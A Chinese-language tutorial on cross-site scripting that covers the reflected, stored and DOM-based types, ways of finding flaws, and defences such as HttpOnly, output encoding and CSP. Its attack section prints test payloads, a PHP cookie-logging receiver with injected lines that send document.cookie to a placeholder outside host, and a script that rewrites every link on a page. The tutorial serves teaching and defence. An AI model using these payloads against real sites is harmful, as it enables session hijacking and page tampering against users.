跨站脚本攻击(XSS)
什么是XSS?
跨站脚本攻击(XSS),全称为Cross Site Script,通常指黑客通过“HTML”注入篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击,一开始这种攻击的演示案例是跨域的,所以叫做“跨站脚本”。
一、XSS的分类
XSS分为:反射型XSS、存储型XSS和DOM Based XSS。
1、反射型XSS
反射型XSS只是简单地把用户输入的数据“反射”给浏览器,也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫做“非持久型XSS”
例如:
如果访问http://www.a.com/test.php?param=<script>alert(/xss/)</script>
会发现,alert(/xss/)在当前页面执行了;
查看源代码:<div><script>alert(/xss/)</script></div>
2、存储型XSS
存储型XSS会把用户输入的数据“存储”在服务器端,这种XSS具有很强的稳定性。
比较常见的场景:攻击者写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博文的用户都会在他们的浏览器中执行这段恶意代码,攻击者把恶意脚本保存到服务器端,这种XSS攻击就叫做“存储型XSS”,也成为“持久型XSS”。
3、DOM Based XSS
DOM Based XSS理论上从效果来看属于反射型XSS,但比较特殊,所以单独来说它。
DOM Based XSS是通过修改页面的DOM节点形成的XSS。
二、跨站脚本的挖掘方法
1、跨站脚本的核心挖掘思想
输入与输出——判断输入是否过滤,输出是否被过滤。
2、跨站脚本的测试思路
寻找出一个Web服务器的注入点,指的是攻击者可控内容的提交的位置。
注入点:专业术语中叫做向量,一切可以提交数据到页面的点都称作注入点。
3、XSS探针
xss探针可检测出网站有没有对xss漏洞做最基础的防御。我们可以在测试xss的位置写'';!--"<XSS>=&{()}
,查看页面源码,观察哪些代码被过滤或者转义。
4、跨站脚本的测试语句
<script>alert(/xss/);</script>
<script>alert(/xss/)</script>
<img src=1 onmouseover=alert(1)>
<a herf=1 onload=alert(1)>nmask</a>
<script>window.a==1?1:prompt(a=1)</script>
<script>a=prompt;a(1)</script>
<img src=0 onerror=confirm('1')>
三、跨站脚本的攻击技巧
1、窃取Cookie
编写xss_cookie.php页面用于接收Cookie
代码如下:
<?php
$cookie=$_GET['cookie'];
$log=fopen("cookie.txt","a");
fwrite($log,$cookie."\n");
fclose($log);
?>
在存在xss漏洞的地方,插入以下代码,便可以将cookie发送到xss_cookie.php,并且将cookie参数传递进去,写入文件中。
<img src="http://URL/xss_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://XXX/xss_cookie.php?cookie="+document.cookie;</script>
2、篡改网页
编写一个test.js脚本,用于做页面跳转
代码如下:
var objs=document.getElementsByTagName("a");
var b = objs.length
for(var a = 0; a < b; a++){
objs[a].href = "http://www.baidu.com";
}
通过访问该漏洞网站,触发执行替换a标签中链接的操作。将以下语句插入存在存储型xss漏洞的网站,来实现页面跳转的目的。
<script type='text/javascript' src='http://localhost/cspt/XSS/test.js'></script>
3、网络钓鱼
4、网络挂马
通过DVWA实现网络挂马
5、BEEF
BEEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。
四、防御跨站脚本攻击的技巧
1、HttpOnly
HttpOnly解决了XSS后的Cookie劫持攻击。
2、输入检查
(1)输入过滤
"永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。
(2)输入验证
输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。
3、输出检查
除富文本输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击, HTML 编码主要是用对应的HTML 实体代替字符。
4、内容安全策略(CSP)
内容安全策略(Content Security Policy,CSP),实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,大大增强了网页的安全性。
总结
理论上,XSS漏洞虽然复杂,但是是可以彻底解决的,在设计XSS解决方案时,应该深入理解XSS攻击原理,针对不同的场景使用不同的方法,同时也有很多开源项目可供学习参考。